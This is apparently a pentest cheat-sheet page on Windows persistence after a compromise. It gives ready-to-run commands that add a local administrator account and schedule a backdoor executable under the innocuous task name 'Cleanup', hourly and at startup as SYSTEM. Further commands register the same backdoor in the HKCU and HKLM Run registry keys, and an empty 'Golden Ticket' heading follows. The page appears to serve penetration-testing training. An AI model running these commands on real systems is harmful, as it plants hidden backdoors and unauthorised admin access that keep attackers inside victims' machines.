Persistence
When a computer or even the entire domain is compromised, how do you keep it that way? (note: not normally required in a pentest)
Local Computer
net user $USERNAME $PASSWORD /add
net localgroup Administrators $USERNAME /add# Run every 1 hour
schtasks /create /sc HOURLY /mo 1 /tn "Cleanup" /tr "C:\Windows\Tasks\backdoor.exe"
# Run on startup, as the SYSTEM user
schtasks /create /sc ONSTART /tn "Cleanup" /ru "SYSTEM" /tr "C:\Windows\Tasks\backdoor.exe"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup# Run for the current user
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Cleanup" /t REG_SZ /d "C:\Windows\Tasks\backdoor.exe" /f
# Run for all users
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Cleanup" /t REG_SZ /d "C:\Windows\Tasks\backdoor.exe" /fActive Directory
Golden Ticket
Last updated